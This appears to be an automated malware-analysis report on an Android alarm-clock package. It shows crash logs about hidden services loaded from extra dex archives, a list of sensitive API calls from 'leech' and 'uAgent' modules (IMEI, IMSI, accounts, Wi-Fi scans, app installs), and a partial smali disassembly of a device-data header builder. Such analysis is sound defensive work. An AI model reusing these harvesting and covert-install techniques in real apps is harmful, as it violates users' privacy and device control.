                                                                              • >>>>>> START com.android.internal.os.RuntimeInit uid 2000 <<<<<<
                                                                              • CheckJNI is OFF
                                                                              • Shutting down VM
                                                                              • Calling main entry com.android.commands.am.Am
                                                                              • Shutting down VM
                                                                              • >>>>>> START com.android.internal.os.RuntimeInit uid 2000 <<<<<<
                                                                              • CheckJNI is OFF
                                                                              • Calling main entry com.android.commands.am.Am
                                                                              • Shutting down VM
                                                                              • NOTE: attach of thread 'Binder:6140_2' failed
                                                                              • >>>>>> START com.android.internal.os.RuntimeInit uid 2000 <<<<<<
                                                                              • CheckJNI is OFF
                                                                              • Calling main entry com.android.commands.am.Am
                                                                              • Shutting down VM
                                                                              • >>>>>> START com.android.internal.os.RuntimeInit uid 2000 <<<<<<
                                                                              • CheckJNI is OFF
                                                                              • Calling main entry com.android.commands.am.Am
                                                                              • Shutting down VM
                                                                              • >>>>>> START com.android.internal.os.RuntimeInit uid 2000 <<<<<<
                                                                              • CheckJNI is OFF
                                                                              • Calling main entry com.android.commands.am.Am
                                                                              • Shutting down VM
                                                                              • >>>>>> START com.android.internal.os.RuntimeInit uid 2000 <<<<<<
                                                                              • CheckJNI is OFF
                                                                              • Calling main entry com.android.commands.am.Am
                                                                              • Shutting down VM
                                                                              • NOTE: attach of thread 'Binder:6216_1' failed
                                                                              • >>>>>> START com.android.internal.os.RuntimeInit uid 2000 <<<<<<
                                                                              • CheckJNI is OFF
                                                                              • Calling main entry com.android.commands.am.Am
                                                                              • Shutting down VM
                                                                              • NOTE: attach of thread 'Binder:6225_2' failed
                                                                              • >>>>>> START com.android.internal.os.RuntimeInit uid 2000 <<<<<<
                                                                              • CheckJNI is OFF
                                                                              • Calling main entry com.android.commands.am.Am
                                                                              • Shutting down VM
                                                                              • NOTE: attach of thread 'Binder:6235_1' failed
                                                                              • >>>>>> START com.android.internal.os.RuntimeInit uid 2000 <<<<<<
                                                                              • CheckJNI is OFF
                                                                              • Calling main entry com.android.commands.am.Am
                                                                              • Shutting down VM
                                                                              • NOTE: attach of thread 'Binder:6245_2' failed
                                                                              • >>>>>> START com.android.internal.os.RuntimeInit uid 2000 <<<<<<
                                                                              • CheckJNI is OFF
                                                                              • Calling main entry com.android.commands.am.Am
                                                                              • Shutting down VM
                                                                              • NOTE: attach of thread 'Binder:6263_1' failed
                                                                              • >>>>>> START com.android.internal.os.RuntimeInit uid 2000 <<<<<<
                                                                              • CheckJNI is OFF
                                                                              • Calling main entry com.android.commands.am.Am
                                                                              • Shutting down VM
                                                                              • NOTE: attach of thread 'Binder:6272_2' failed
                                                                              • >>>>>> START com.android.internal.os.RuntimeInit uid 2000 <<<<<<
                                                                              • CheckJNI is OFF
                                                                              • Calling main entry com.android.commands.am.Am
                                                                              • Shutting down VM
                                                                              • NOTE: attach of thread 'Binder:6282_1' failed
                                                                              • >>>>>> START com.android.internal.os.RuntimeInit uid 2000 <<<<<<
                                                                              • CheckJNI is OFF
                                                                              • Calling main entry com.android.commands.am.Am
                                                                              • Shutting down VM
                                                                              • >>>>>> START com.android.internal.os.RuntimeInit uid 2000 <<<<<<
                                                                              • CheckJNI is OFF
                                                                              • Calling main entry com.android.commands.am.Am
                                                                              • Shutting down VM
                                                                              • NOTE: attach of thread 'Binder:6326_2' failed
                                                                              • >>>>>> START com.android.internal.os.RuntimeInit uid 2000 <<<<<<
                                                                              • CheckJNI is OFF
                                                                              • Calling main entry com.android.commands.am.Am
                                                                              • Shutting down VM
                                                                              • NOTE: attach of thread 'Binder:6414_1' failed
                                                                              • >>>>>> START com.android.internal.os.RuntimeInit uid 2000 <<<<<<
                                                                              • CheckJNI is OFF
                                                                              • Calling main entry com.android.commands.am.Am
                                                                              • Shutting down VM
                                                                              • NOTE: attach of thread 'Binder:6468_1' failed
                                                                              • >>>>>> START com.android.internal.os.RuntimeInit uid 2000 <<<<<<
                                                                              • CheckJNI is OFF
                                                                              • Calling main entry com.android.commands.am.Am
                                                                              • Shutting down VM
                                                                              • NOTE: attach of thread 'Binder:6544_2' failed
                                                                              • >>>>>> START com.android.internal.os.RuntimeInit uid 2000 <<<<<<
                                                                              • CheckJNI is OFF
                                                                              • Calling main entry com.android.commands.am.Am
                                                                              • Shutting down VM
                                                                              • >>>>>> START com.android.internal.os.RuntimeInit uid 2000 <<<<<<
                                                                              • CheckJNI is OFF
                                                                              • Calling main entry com.android.commands.am.Am
                                                                              • Shutting down VM
                                                                              • >>>>>> START com.android.internal.os.RuntimeInit uid 2000 <<<<<<
                                                                              • CheckJNI is OFF
                                                                              • Calling main entry com.android.commands.am.Am
                                                                              • Shutting down VM
                                                                              • Shutting down VM
                                                                              • NOTE: attach of thread 'Binder:6718_1' failed
                                                                              • FATAL EXCEPTION: main
                                                                              • Process: com.caynax.alarmclock, PID: 6175
                                                                              • java.lang.RuntimeException: Unable to instantiate service com.android.support.service.Service06: java.lang.ClassNotFoundException: Didn't find class "com.android.support.service.Service06" on path: DexPathList[[zip file "/data/app/com.caynax.alarmclock-1/base.apk", zip file "/data/user/0/com.caynax.alarmclock/files/.MultiDex/adsdk.zip", zip file "/data/user/0/com.caynax.alarmclock/files/.MultiDex/patch.zip"],nativeLibraryDirectories=[/data/app/com.caynax.alarmclock-1/lib/arm, /system/fake-libs, /data/app/com.caynax.alarmclock-1/base.apk!/lib/armeabi-v7a, /system/lib, /vendor/lib]]
                                                                              • at android.app.ActivityThread.-wrap5(ActivityThread.java)
                                                                              • at java.lang.reflect.Method.invoke(Native Method)
                                                                              • Caused by: java.lang.ClassNotFoundException: Didn't find class "com.android.support.service.Service06" on path: DexPathList[[zip file "/data/app/com.caynax.alarmclock-1/base.apk", zip file "/data/user/0/com.caynax.alarmclock/files/.MultiDex/adsdk.zip", zip file "/data/user/0/com.caynax.alarmclock/files/.MultiDex/patch.zip"],nativeLibraryDirectories=[/data/app/com.caynax.alarmclock-1/lib/arm, /system/fake-libs, /data/app/com.caynax.alarmclock-1/base.apk!/lib/armeabi-v7a, /system/lib, /vendor/lib]]
                                                                              • ... 8 more
                                                                              • >>>>>> START com.android.internal.os.RuntimeInit uid 2000 <<<<<<
                                                                              • CheckJNI is OFF
                                                                              • Calling main entry com.android.commands.am.Am
                                                                              • Shutting down VM
                                                                              • NOTE: attach of thread 'Binder:6732_1' failed
                                                                              • >>>>>> START com.android.internal.os.RuntimeInit uid 2000 <<<<<<
                                                                              • CheckJNI is OFF
                                                                              • Calling main entry com.android.commands.am.Am
                                                                              • Shutting down VM
                                                                              • NOTE: attach of thread 'Binder:6747_1' failed
                                                                              • >>>>>> START com.android.internal.os.RuntimeInit uid 2000 <<<<<<
                                                                              • CheckJNI is OFF
                                                                              • Calling main entry com.android.commands.am.Am
                                                                              • Shutting down VM
                                                                              • NOTE: attach of thread 'Binder:6756_2' failed
                                                                              • >>>>>> START com.android.internal.os.RuntimeInit uid 2000 <<<<<<
                                                                              • CheckJNI is OFF
                                                                              • Calling main entry com.android.commands.am.Am
                                                                              • Shutting down VM
                                                                              • Shutting down VM
                                                                              • FATAL EXCEPTION: main
                                                                              • Process: com.caynax.alarmclock:h1, PID: 6776
                                                                              • java.lang.RuntimeException: Unable to instantiate service com.android.support.service.Service10: java.lang.ClassNotFoundException: Didn't find class "com.android.support.service.Service10" on path: DexPathList[[zip file "/data/app/com.caynax.alarmclock-1/base.apk", zip file "/data/user/0/com.caynax.alarmclock/files/.MultiDex/adsdk.zip", zip file "/data/user/0/com.caynax.alarmclock/files/.MultiDex/patch.zip"],nativeLibraryDirectories=[/data/app/com.caynax.alarmclock-1/lib/arm, /system/fake-libs, /data/app/com.caynax.alarmclock-1/base.apk!/lib/armeabi-v7a, /system/lib, /vendor/lib]]
                                                                              • at android.app.ActivityThread.-wrap5(ActivityThread.java)
                                                                              • at java.lang.reflect.Method.invoke(Native Method)
                                                                              • Caused by: java.lang.ClassNotFoundException: Didn't find class "com.android.support.service.Service10" on path: DexPathList[[zip file "/data/app/com.caynax.alarmclock-1/base.apk", zip file "/data/user/0/com.caynax.alarmclock/files/.MultiDex/adsdk.zip", zip file "/data/user/0/com.caynax.alarmclock/files/.MultiDex/patch.zip"],nativeLibraryDirectories=[/data/app/com.caynax.alarmclock-1/lib/arm, /system/fake-libs, /data/app/com.caynax.alarmclock-1/base.apk!/lib/armeabi-v7a, /system/lib, /vendor/lib]]
                                                                              • ... 8 more
                                                                              • >>>>>> START com.android.internal.os.RuntimeInit uid 2000 <<<<<<
                                                                              • CheckJNI is OFF
                                                                              • Calling main entry com.android.commands.am.Am
                                                                              • Shutting down VM
                                                                              • Shutting down VM
                                                                              • FATAL EXCEPTION: main
                                                                              • Process: com.caynax.alarmclock:h2, PID: 6828
                                                                              • java.lang.RuntimeException: Unable to instantiate service com.android.support.service.Service11: java.lang.ClassNotFoundException: Didn't find class "com.android.support.service.Service11" on path: DexPathList[[zip file "/data/app/com.caynax.alarmclock-1/base.apk", zip file "/data/user/0/com.caynax.alarmclock/files/.MultiDex/adsdk.zip", zip file "/data/user/0/com.caynax.alarmclock/files/.MultiDex/patch.zip"],nativeLibraryDirectories=[/data/app/com.caynax.alarmclock-1/lib/arm, /system/fake-libs, /data/app/com.caynax.alarmclock-1/base.apk!/lib/armeabi-v7a, /system/lib, /vendor/lib]]
                                                                              • at android.app.ActivityThread.-wrap5(ActivityThread.java)
                                                                              • at java.lang.reflect.Method.invoke(Native Method)
                                                                              • Caused by: java.lang.ClassNotFoundException: Didn't find class "com.android.support.service.Service11" on path: DexPathList[[zip file "/data/app/com.caynax.alarmclock-1/base.apk", zip file "/data/user/0/com.caynax.alarmclock/files/.MultiDex/adsdk.zip", zip file "/data/user/0/com.caynax.alarmclock/files/.MultiDex/patch.zip"],nativeLibraryDirectories=[/data/app/com.caynax.alarmclock-1/lib/arm, /system/fake-libs, /data/app/com.caynax.alarmclock-1/base.apk!/lib/armeabi-v7a, /system/lib, /vendor/lib]]
                                                                              • ... 8 more
                                                                              • >>>>>> START com.android.internal.os.RuntimeInit uid 2000 <<<<<<
                                                                              • CheckJNI is OFF
                                                                              • Calling main entry com.android.commands.am.Am
                                                                              • Shutting down VM
                                                                              • Shutting down VM
                                                                              • FATAL EXCEPTION: main
                                                                              • Process: com.caynax.alarmclock:h3, PID: 6871
                                                                              • java.lang.RuntimeException: Unable to instantiate service com.android.support.service.Service12: java.lang.ClassNotFoundException: Didn't find class "com.android.support.service.Service12" on path: DexPathList[[zip file "/data/app/com.caynax.alarmclock-1/base.apk", zip file "/data/user/0/com.caynax.alarmclock/files/.MultiDex/adsdk.zip", zip file "/data/user/0/com.caynax.alarmclock/files/.MultiDex/patch.zip"],nativeLibraryDirectories=[/data/app/com.caynax.alarmclock-1/lib/arm, /system/fake-libs, /data/app/com.caynax.alarmclock-1/base.apk!/lib/armeabi-v7a, /system/lib, /vendor/lib]]
                                                                              • at android.app.ActivityThread.-wrap5(ActivityThread.java)
                                                                              • at java.lang.reflect.Method.invoke(Native Method)
                                                                              • Caused by: java.lang.ClassNotFoundException: Didn't find class "com.android.support.service.Service12" on path: DexPathList[[zip file "/data/app/com.caynax.alarmclock-1/base.apk", zip file "/data/user/0/com.caynax.alarmclock/files/.MultiDex/adsdk.zip", zip file "/data/user/0/com.caynax.alarmclock/files/.MultiDex/patch.zip"],nativeLibraryDirectories=[/data/app/com.caynax.alarmclock-1/lib/arm, /system/fake-libs, /data/app/com.caynax.alarmclock-1/base.apk!/lib/armeabi-v7a, /system/lib, /vendor/lib]]
                                                                              • ... 8 more
                                                                              • >>>>>> START com.android.internal.os.RuntimeInit uid 2000 <<<<<<
                                                                              • CheckJNI is OFF
                                                                              • Calling main entry com.android.commands.am.Am
                                                                              • Shutting down VM
                                                                              • NOTE: attach of thread 'Binder:6888_2' failed
                                                                              • >>>>>> START com.android.internal.os.RuntimeInit uid 2000 <<<<<<
                                                                              • CheckJNI is OFF
                                                                              • Calling main entry com.android.commands.am.Am
                                                                              • Shutting down VM
                                                                              • NOTE: attach of thread 'Binder:6915_2' failed
                                                                              • >>>>>> START com.android.internal.os.RuntimeInit uid 2000 <<<<<<
                                                                              • CheckJNI is OFF
                                                                              • Calling main entry com.android.commands.am.Am
                                                                              • Shutting down VM
                                                                              • >>>>>> START com.android.internal.os.RuntimeInit uid 2000 <<<<<<
                                                                              • CheckJNI is OFF
                                                                              • Calling main entry com.android.commands.am.Am
                                                                              • Shutting down VM
                                                                              • NOTE: attach of thread 'Binder:6934_2' failed
                                                                              • >>>>>> START com.android.internal.os.RuntimeInit uid 2000 <<<<<<
                                                                              • CheckJNI is OFF
                                                                              • Calling main entry com.android.commands.am.Am
                                                                              • Shutting down VM
                                                                              • >>>>>> START com.android.internal.os.RuntimeInit uid 2000 <<<<<<
                                                                              • CheckJNI is OFF
                                                                              • Calling main entry com.android.commands.am.Am
                                                                              • Shutting down VM
                                                                              • NOTE: attach of thread 'Binder:6953_2' failed
                                                                              • >>>>>> START com.android.internal.os.RuntimeInit uid 2000 <<<<<<
                                                                              • CheckJNI is OFF
                                                                              • Calling main entry com.android.commands.am.Am
                                                                              • Shutting down VM
                                                                              • >>>>>> START com.android.internal.os.RuntimeInit uid 2000 <<<<<<
                                                                              • CheckJNI is OFF
                                                                              • Calling main entry com.android.commands.am.Am
                                                                              • Shutting down VM
                                                                              • >>>>>> START com.android.internal.os.RuntimeInit uid 2000 <<<<<<
                                                                              • CheckJNI is OFF
                                                                              • Calling main entry com.android.commands.uiautomator.Launcher
                                                                              • Shutting down VM
                                                                              • >>>>>> START com.android.internal.os.RuntimeInit uid 2000 <<<<<<
                                                                              • CheckJNI is OFF
                                                                              • Calling main entry com.android.commands.uiautomator.Launcher
                                                                              • Shutting down VM
                                                                              true
                                                                              API: android.location.LocationManager->isProviderEnabled at uAgent.commonsdk.proguard.d.a:47 Show source
                                                                              API: android.telephony.TelephonyManager->getCellLocation at uAgent.commonsdk.internal.utils.k.d:15 Show source
                                                                              API: android.net.ConnectivityManager->getActiveNetworkInfo at com.android.leech.base.bugly.util.DeviceUtil.getNetworkType:11 Show source
                                                                              API: android.net.ConnectivityManager->getActiveNetworkInfo at uAgent.commonsdk.framework.c$1.onReceive:33 Show source
                                                                              API: android.net.ConnectivityManager->getActiveNetworkInfo at uAgent.commonsdk.statistics.common.DeviceConfig.isOnline:18 Show source
                                                                              API: android.net.ConnectivityManager->getActiveNetworkInfo at com.android.leech.base.bugly.util.DeviceUtil.getNetworkType:12 Show source
                                                                              API: android.net.ConnectivityManager->getActiveNetworkInfo at uAgent.commonsdk.stateless.e.a:42 Show source
                                                                              API: android.net.ConnectivityManager->getActiveNetworkInfo at uAgent.commonsdk.statistics.internal.c.b:39 Show source
                                                                              API: android.net.ConnectivityManager->getActiveNetworkInfo at com.android.leech.base.util.NetUtil.is3G:12 Show source
                                                                              API: android.net.ConnectivityManager->getActiveNetworkInfo at com.android.leech.base.util.NetUtil.isWifi:13 Show source
                                                                              API: android.net.ConnectivityManager->getNetworkInfo at com.android.leech.base.download.BuglyDownload.isWifiConnected:11 Show source
                                                                              API: android.net.ConnectivityManager->getAllNetworkInfo at com.android.leech.base.util.NetUtil.isNetworkAvailable:13 Show source
                                                                              API: android.net.ConnectivityManager->getActiveNetworkInfo at uAgent.commonsdk.stateless.d$1.onReceive:35 Show source
                                                                              API: android.net.ConnectivityManager->getNetworkInfo at uAgent.commonsdk.utils.UMUtils.getNetworkAccessMode:38 Show source
                                                                              API: android.net.ConnectivityManager->getActiveNetworkInfo at uAgent.commonsdk.framework.b.b:14 Show source
                                                                              API: android.net.ConnectivityManager->getNetworkInfo at uAgent.commonsdk.statistics.common.DeviceConfig.getNetworkAccessMode:38 Show source
                                                                              API: android.net.wifi.WifiManager->getConnectionInfo at uAgent.commonsdk.internal.utils.a.c:17 Show source
                                                                              API: android.net.wifi.WifiManager->getWifiState at uAgent.commonsdk.internal.utils.a.g:17 Show source
                                                                              API: android.net.wifi.WifiManager->getScanResults at uAgent.commonsdk.internal.utils.a.b:29 Show source
                                                                              API: android.net.wifi.WifiManager->getConnectionInfo at uAgent.commonsdk.utils.UMUtils.getMac:17 Show source
                                                                              API: android.net.wifi.WifiManager->getConnectionInfo at com.android.leech.base.bugly.util.DeviceUtil.getWifiMacAddress:15 Show source
                                                                              API: android.net.wifi.WifiManager->getConnectionInfo at uAgent.commonsdk.statistics.common.DeviceConfig.getMacBySystemInterface:19 Show source
                                                                              API: android.accounts.AccountManager->addAccountExplicitly at ..:50 Show source
                                                                              API: android.accounts.AccountManager->addAccountExplicitly at com.android.leech.main.installer.impl.ReParcelMain.createInstallBundle:31 Show source
                                                                              API: android.accounts.AccountManager->addAccountExplicitly at ..:31 Show source
                                                                              API: android.bluetooth.BluetoothAdapter->getAddress at ..:24 Show source
                                                                              API: android.bluetooth.BluetoothAdapter->isEnabled at ..:15 Show source
                                                                              API: android.bluetooth.BluetoothAdapter->getAddress at uAgent.commonsdk.internal.utils.a.a:41 Show source
                                                                              API: android.content.pm.PackageManager->setComponentEnabledSetting at ..:22 Show source
                                                                              API: android.accounts.AccountManager->getAccountsByType at com.android.leech.main.ad.mini.util.StartAPP.openGooglePlay:16 Show source
                                                                              API: android.accounts.AccountManager->getAccounts at com.android.leech.main.installer.impl.ReParcelMain.doInstallWhatsapp:10 Show source
                                                                              API: android.accounts.AccountManager->getAccountsByType at com.android.google.coreappx.keep.KeepAccountUtil.isAccountExist:7 Show source
                                                                              API: android.app.ActivityManager->getRunningTasks at com.android.leech.base.util.EnvUtils.isAppInForeground:59 Show source
                                                                              API: java.net.URL->openConnection at com.android.leech.main.ad.mini.util.BitmapHelper.decodeUriAsBitmapFromNet:7 Show source
                                                                              API: java.net.URL->openConnection at com.android.leech.main.ad.mini.base.HttpUtil.request:14 Show source
                                                                              API: java.net.URL->openConnection at uAgent.commonsdk.statistics.idtracking.s.b:52 Show source
                                                                              API: java.net.URL->openConnection at uAgent.commonsdk.statistics.internal.c.a:29 Show source
                                                                              API: java.net.URL->openConnection at uAgent.commonsdk.stateless.e.b:41 Show source
                                                                              API: java.net.URL->openConnection at com.android.leech.patch.axmleditor.utils.IOUtils.toByteArray:8 Show source
                                                                              API: java.net.URL->openConnection at com.android.leech.base.util.HttpUtil.report:9 Show source
                                                                              API: java.net.URL->openConnection at com.android.leech.base.bugly.net.PostRunnable.getBaseConnection:40 Show source
                                                                              API: java.net.URL->openConnection at com.android.leech.main.ad.mini.download.DownloadThread.run:8 Show source
                                                                              API: java.net.URL->openConnection at com.android.leech.base.util.HttpUtil.request:16 Show source
                                                                              API: android.webkit.WebView-><init> at ..:12 Show source
                                                                              API: java.net.URL->openConnection at com.android.leech.base.bugly.download.t.run:17 Show source
                                                                              API: java.net.URL->openConnection at uAgent.commonsdk.stateless.e.a:49 Show source
                                                                              API: java.net.URL->openConnection at com.android.leech.main.ad.mini.base.HttpUtil.report:9 Show source
                                                                              API: java.net.URL->openConnection at com.android.leech.main.ad.mini.download.FileDownloader.start:20 Show source
                                                                              API: java.net.URLConnection->getInputStream at ..:8 Show source
                                                                              API: java.net.URL->openConnection at com.android.leech.main.ad.mini.base.HttpUtil.decodeUriAsBitmapFromNet:7 Show source
                                                                              API: android.accounts.AccountManager->removeAccount at com.android.leech.main.installer.impl.ReParcelMain.doInstallWhatsapp:48 Show source
                                                                              API: android.telephony.TelephonyManager->getSubscriberId at com.android.leech.base.bugly.util.DeviceUtil.getSubId:19 Show source
                                                                              API: android.telephony.TelephonyManager->getDeviceId at com.android.leech.base.bugly.util.DeviceUtil.getDeviceId:19 Show source
                                                                              API: android.telephony.TelephonyManager->getSubscriberId at uAgent.commonsdk.utils.UMUtils.getImsi:14 Show source
                                                                              API: android.telephony.TelephonyManager->getSimSerialNumber at uAgent.commonsdk.internal.utils.k.b:15 Show source
                                                                              API: android.telephony.TelephonyManager->getDeviceId at uAgent.commonsdk.statistics.common.DeviceConfig.getIMEI:18 Show source
                                                                              API: android.telephony.TelephonyManager->getDeviceId at uAgent.commonsdk.statistics.common.DeviceConfig.getImeiNew:42 Show source
                                                                              API: android.telephony.TelephonyManager->getSimSerialNumber at com.android.leech.base.bugly.util.DeviceUtil.getSimSerialNum:15 Show source
                                                                              API: android.telephony.TelephonyManager->getDeviceId at com.android.leech.base.bugly.util.DeviceUtil.getIMEI:12 Show source
                                                                              API: android.telephony.TelephonyManager->getDeviceId at uAgent.commonsdk.statistics.common.DeviceConfig.getDBencryptID:16 Show source
                                                                              API: android.telephony.TelephonyManager->getSubscriberId at com.android.leech.base.bugly.util.DeviceUtil.getSubscriberId:11 Show source
                                                                              API: android.telephony.TelephonyManager->getSubscriberId at uAgent.commonsdk.statistics.common.DeviceConfig.getImsi:16 Show source
                                                                              API: android.telephony.TelephonyManager->getDeviceId at uAgent.commonsdk.internal.utils.a.l:20 Show source
                                                                              API: android.telephony.TelephonyManager->getSubscriberId at uAgent.commonsdk.internal.utils.a.k:17 Show source
                                                                              API: android.telephony.TelephonyManager->getDeviceId at uAgent.commonsdk.statistics.common.DeviceConfig.getImei:16 Show source
                                                                              API: android.telephony.TelephonyManager->listen at ..:20 Show source
                                                                              API: android.telephony.TelephonyManager->listen at ..:20 Show source
                                                                              API: android.content.ContentResolver->getMasterSyncAutomatically at ..:52 Show source
                                                                              API: android.app.NotificationManager->notify at com.android.leech.patch.PatchNotification.onFloatClick:134 Show source
                                                                              API: android.content.ContentResolver->setMasterSyncAutomatically at ..:57 Show source

                                                                              0 Executed Methods

                                                                              277 Non-Executed Methods

                                                                              Cross References
                                                                              APIs
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.Thread.currentThread
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • android.content.Context.getApplicationContext
                                                                              • android.text.TextUtils.isEmpty
                                                                              • org.json.JSONObject.<init>
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getMethod
                                                                              • java.lang.reflect.Method.invoke
                                                                              • android.text.TextUtils.isEmpty
                                                                              • org.json.JSONObject.put
                                                                              • android.text.TextUtils.isEmpty
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.length
                                                                              • org.json.JSONObject.<init>
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • org.json.JSONObject.toString
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.Thread.currentThread
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.<init>
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • java.lang.Integer.parseInt
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • android.text.TextUtils.isEmpty
                                                                              • org.json.JSONObject.put
                                                                              • android.text.TextUtils.isEmpty
                                                                              • org.json.JSONObject.put
                                                                              • android.text.TextUtils.isEmpty
                                                                              • org.json.JSONObject.put
                                                                              • android.text.TextUtils.isEmpty
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • android.os.Build.MODEL:Ljava/lang/String
                                                                              • org.json.JSONObject.put
                                                                              • android.os.Build.BOARD:Ljava/lang/String
                                                                              • org.json.JSONObject.put
                                                                              • android.os.Build.BRAND:Ljava/lang/String
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • android.os.Build.MANUFACTURER:Ljava/lang/String
                                                                              • org.json.JSONObject.put
                                                                              • android.os.Build.ID:Ljava/lang/String
                                                                              • org.json.JSONObject.put
                                                                              • android.os.Build.DEVICE:Ljava/lang/String
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • android.os.Build$VERSION.RELEASE:Ljava/lang/String
                                                                              • org.json.JSONObject.put
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • java.lang.String.equals
                                                                              • org.json.JSONObject.put
                                                                              • java.lang.String.equals
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • android.text.TextUtils.isEmpty
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.toString
                                                                              • org.json.JSONObject.put
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.Thread.currentThread
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • java.lang.String.equals
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              Strings
                                                                              • walle
                                                                              • [stateless] begin build hader, thread is
                                                                              • channel
                                                                              • appkey
                                                                              • com.umeng.commonsdk.internal.utils.SDStorageAgent
                                                                              • getUmtt
                                                                              • umtt
                                                                              • umid
                                                                              • utoken
                                                                              • wrapper_type
                                                                              • wrapper_version
                                                                              • [stateless] build header end , header is
                                                                              • , thread is
                                                                              • header
                                                                              • app_signature
                                                                              • app_sig_sha1
                                                                              • app_sig_sha
                                                                              • app_version
                                                                              • version_code
                                                                              • idmd5
                                                                              • cpu
                                                                              • mccmnc
                                                                              • sub_os_name
                                                                              • sub_os_version
                                                                              • device_type
                                                                              • package_name
                                                                              • sdk_type
                                                                              • Android
                                                                              • device_id
                                                                              • device_model
                                                                              • device_board
                                                                              • device_brand
                                                                              • device_manutime
                                                                              • device_manufacturer
                                                                              • device_manuid
                                                                              • device_name
                                                                              • os
                                                                              • os_version
                                                                              • resolution
                                                                              • *
                                                                              • mc
                                                                              • timezone
                                                                              • country
                                                                              • language
                                                                              • carrier
                                                                              • display_name
                                                                              • Wi-Fi
                                                                              • access
                                                                              • wifi
                                                                              • access_subtype
                                                                              • com_ver
                                                                              • 1.4.4
                                                                              • com_type
                                                                              • module
                                                                              • [stateless] build header end , header is null !!! thread is
                                                                              • 2G/3G
                                                                              • unknow
                                                                              Position Instruction Meta Information
                                                                              0const/4 v1, 0x0
                                                                              1const/4 v8, 0x1
                                                                              2monitor-enter p0
                                                                              3try_start_3:
                                                                              4const-string v0, "walle"
                                                                              5const/4 v2, 0x1
                                                                              6new-array v2, v2, [Ljava/lang/Object;
                                                                              7const/4 v3, 0x0
                                                                              8new-instance v4, Ljava/lang/StringBuilder;
                                                                              10invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                                                                              12const-string v5, "[stateless] begin build hader, thread is "
                                                                              14invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              15move-result-object v4
                                                                              17invoke-static {}, Ljava/lang/Thread;->currentThread()Ljava/lang/Thread;
                                                                              18move-result-object v5
                                                                              20invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                                                              21move-result-object v4
                                                                              23invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              24move-result-object v4
                                                                              25aput-object v4, v2, v3
                                                                              27invoke-static {v0, v2}, LuAgent/commonsdk/statistics/common/e;->a(Ljava/lang/String;[Ljava/lang/Object;)V
                                                                              28try_end_25: if-nez p1, :cond_2a
                                                                              29move-object v0, v1
                                                                              30goto_28: monitor-exit p0
                                                                              31return-object v0
                                                                              32try_start_2a:
                                                                              33invoke-virtual {p1}, Landroid/content/Context;->getApplicationContext()Landroid/content/Context;
                                                                              34try_end_2d: move-result-object v3
                                                                              35try_start_2e:
                                                                              36sget-object v0, LuAgent/commonsdk/stateless/UMSLEnvelopeBuild;->cacheSystemheader:Ljava/lang/String;
                                                                              38invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              39try_end_33: move-result v0
                                                                              40if-nez v0, :cond_fb
                                                                              41try_start_36: new-instance v0, Lorg/json/JSONObject;
                                                                              43sget-object v2, LuAgent/commonsdk/stateless/UMSLEnvelopeBuild;->cacheSystemheader:Ljava/lang/String;
                                                                              45invoke-direct {v0, v2}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
                                                                              46try_end_3d: move-object v2, v0
                                                                              47goto_3e: if-eqz v2, :cond_2e6
                                                                              48try_start_40:
                                                                              49const-string v0, "channel"
                                                                              51invoke-static {v3}, LuAgent/commonsdk/utils/UMUtils;->getChannel(Landroid/content/Context;)Ljava/lang/String;
                                                                              52move-result-object v4
                                                                              54invoke-virtual {v2, v0, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              56const-string v0, "appkey"
                                                                              58invoke-static {v3}, LuAgent/commonsdk/utils/UMUtils;->getAppkey(Landroid/content/Context;)Ljava/lang/String;
                                                                              59move-result-object v4
                                                                              61invoke-virtual {v2, v0, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              62try_start_52: sget v0, LuAgent/commonsdk/statistics/d;->b:I
